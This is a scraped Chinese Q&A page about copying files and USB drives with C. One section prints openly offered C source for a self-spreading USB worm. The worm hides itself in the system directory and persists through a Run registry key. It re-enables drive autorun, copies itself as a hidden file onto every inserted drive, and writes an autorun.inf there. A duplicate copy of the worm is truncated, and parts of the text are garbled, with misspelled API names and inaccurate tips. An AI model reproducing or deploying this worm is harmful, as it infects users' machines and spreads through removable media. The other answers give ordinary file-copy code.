當前位置:首頁 » 編程語言 » 用c語言代碼復制u盤
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

用c語言代碼復制u盤

發布時間: 2022-12-31 12:52:52

A. 怎麼把電腦上的寫c語言的軟體復制到優盤上

先把U盤查到電腦上,然後確定連接上後,右鍵點擊你要發送的文件,彈出如下的窗口:

在窗口中選擇「發送到」,然後彈出右邊的小窗口,最後左鍵點擊可移動磁碟,這樣就已經往你的U盤中發東西了。

B. 用C語言編寫的病毒代碼

一個c病毒源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//計時器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒從U盤啟動時用到的函數
BOOL FileExist(TCHAR *path);//測試一個文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系統路徑
BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置
BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性
BOOL RegAutoRun(TCHAR *path);//修改注冊表,實現自啟動

//從C盤啟動時用到函數
BOOL CopyToUAndSet();//復制自己到U盤
BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件
BOOL FindSelf();//測試自己是否在已經執行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盤的盤符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盤盤符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盤
}
break;
case DBT_DEVICEREMOVECOMPLETE: //設備刪除
break;
}
return LRESULT();
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //處理一些要下面要用到的全局變數
U[1]=':';
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwnd,TIMER,5000,0);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系統盤啟動的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//檢測有沒有插入設備消息
else
{
CopyToSysAndSet(hwnd);//拷到系統盤並自啟動
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看該驅動器的狀態是否發生了變化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetMoleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄
{
return TRUE;
}
else
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系統路徑
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到復制到系統目錄的完整目錄
if(!FileExist(szPath))//檢測系統目錄是否已經存在復制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//檢測自己有沒有運行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//沒有就執行
SendMessage(hwnd,WM_CLOSE,0,0);//結束自己
}
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}

BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL RegAutoRun(TCHAR *path)//修改注冊表實現自啟動
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盤的完整目錄

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隱藏窗口:ShowWindow(false); (#include <windows.h>)
將程序暫停一秒後繼續執行:sleep(1000); (同上)
刪除文件:system("del 文件的路徑");
運行文件:system("文件的路徑");
system函數(#include <iostream>)
復制文件:詳見remove函數(#include <process.h>)

-----------------------------------------------------------
一個不錯的病毒完整源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//計時器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);

C. 用C語言實現文件拷貝

兩種方法:
1. 用c語言的文件操作:讀出文件argv[1]的內容,再把讀出的內容寫入到文件argv[2]中
2. 使用函數system來執行dos中的文件拷貝命令
char command[100]=" ";
strcat(command, argv[1]);
strcat(command," ");
strcat(command,argv[2]);
system( command );

D. 為什麼我做的C語言程序移到U盤打不開

你移植程序的時候要用復制(右鍵點一下這個*.exe文件->左鍵點復制)然後進你的U盤,粘貼(空白地方右鍵一下粘貼)然後在別的電腦上大開一下看行不行。
你之前弄得可能是快捷方式。

E. 如何用c語言將文件復制到自己想要的文件夾

C語言里的system("");函數可以執行命令行的幾乎所有指令,把命令行輸入的內容作為參數傳入即可。復制文件的話 應該是: 源文件 目的路徑。
例如命令行里的 c:\test.txt d:\text.txt,
也就是C語言里的:system(" c:\test.txt d:\text.txt");
或者這樣
char c[50] = " c:\test.txt d:\text.txt";
system(c);

F. 用c語言完成將一個10G的文件拷貝到一個格式為fat32的16G的u盤里的功能

#include "stdafx.h"
#include <cstdio>
#include <cstdlib>
#include <ctime>
//參數argv[1]是源文件路徑,參數argv[2]是U盤路徑
int main(int argc,char* argv[])
{
if(argv[1] && argv[2])
{
clock_t start,end;
start = clock();
char* buf= NULL;
FILE* fsrc;
fsrc = fopen(argv[1],"rb");
if(!fsrc){
printf("can't open your src file\n");
return 1;
}
fseek(fsrc,0,SEEK_END);
long filesize = ftell(fsrc);
printf("the source file's size is %d M",filesize/(1024*1024));
fseek(fsrc,0,SEEK_SET); //文件指針重新定位到文件開頭
FILE* fdest;
fdest = fopen(argv[2],"w+");
if(!fdest)
{
printf("can't create your dest file\n");
return 1;
}
if(filesize>4096)
{
int n = filesize/4096;// n 塊
int leavesize = filesize%4096;
buf = new char[4096];
for(int i=0;i<n;i++){
fread(buf,sizeof(char),4096,fsrc);
fwrite(buf,sizeof(char),4096,fdest);
}
fread(buf,sizeof(char),leavesize,fsrc);
fwrite(buf,sizeof(char),leavesize,fdest);
delete buf;
buf = 0;
} else {
buf = new char[filesize];
fread(buf,sizeof(char),filesize,fsrc);
fwrite(buf,sizeof(char),filesize,fdest);
delete buf;
buf = 0;
}
fseek(fdest,0,SEEK_END);
long filesize2 = ftell(fdest);
printf("the dest file's size is %d M\n",filesize2/(1024*1024));
fclose(fdest);
fclose(fsrc);
end = clock();
printf("the ration is %f S\n ",(double)(end - start)/1000);
}
else
printf("no this file\n");
system("pause");
return 0;
}

G. 怎麼用C語言復制文件或者移動文件,不要用system的命令。Linux命令cp cat都不行,我要

要求 c:\source.txt文件必須存在,可以自己建立一個這樣的文本文件,並輸入一些數據,以便測試。
復制文件:源文件c:\source.txt 復制到c:\dex.txt
#include<stdio.h>
void main()
{
FILE *fp1,*fp2;
char str1;
fp2=fopen("c:\\des.txt","w");
if((fp1=fopen("C:\\source.txt","r"))==NULL)
{
printf("file cannot be opened\n");
return;
}
while((str1=fgetc(fp1))!=EOF)
fputc(str1,fp2);
fclose(fp1);
fclose(fp2);
}
希望能夠幫到你。

移動文件:源文件c:\source.txt 移動到c:\dex.txt
#include<stdio.h>
void main()
{
FILE *fp1,*fp2;
char str1;
fp2=fopen("c:\\des.txt","w");
if((fp1=fopen("C:\\source.txt","r"))==NULL)
{
printf("file cannot be opened\n");
return;
}
while((str1=fgetc(fp1))!=EOF)
fputc(str1,fp2);
fclose(fp1);
fclose(fp2);
remove("c:\\source.txt");
}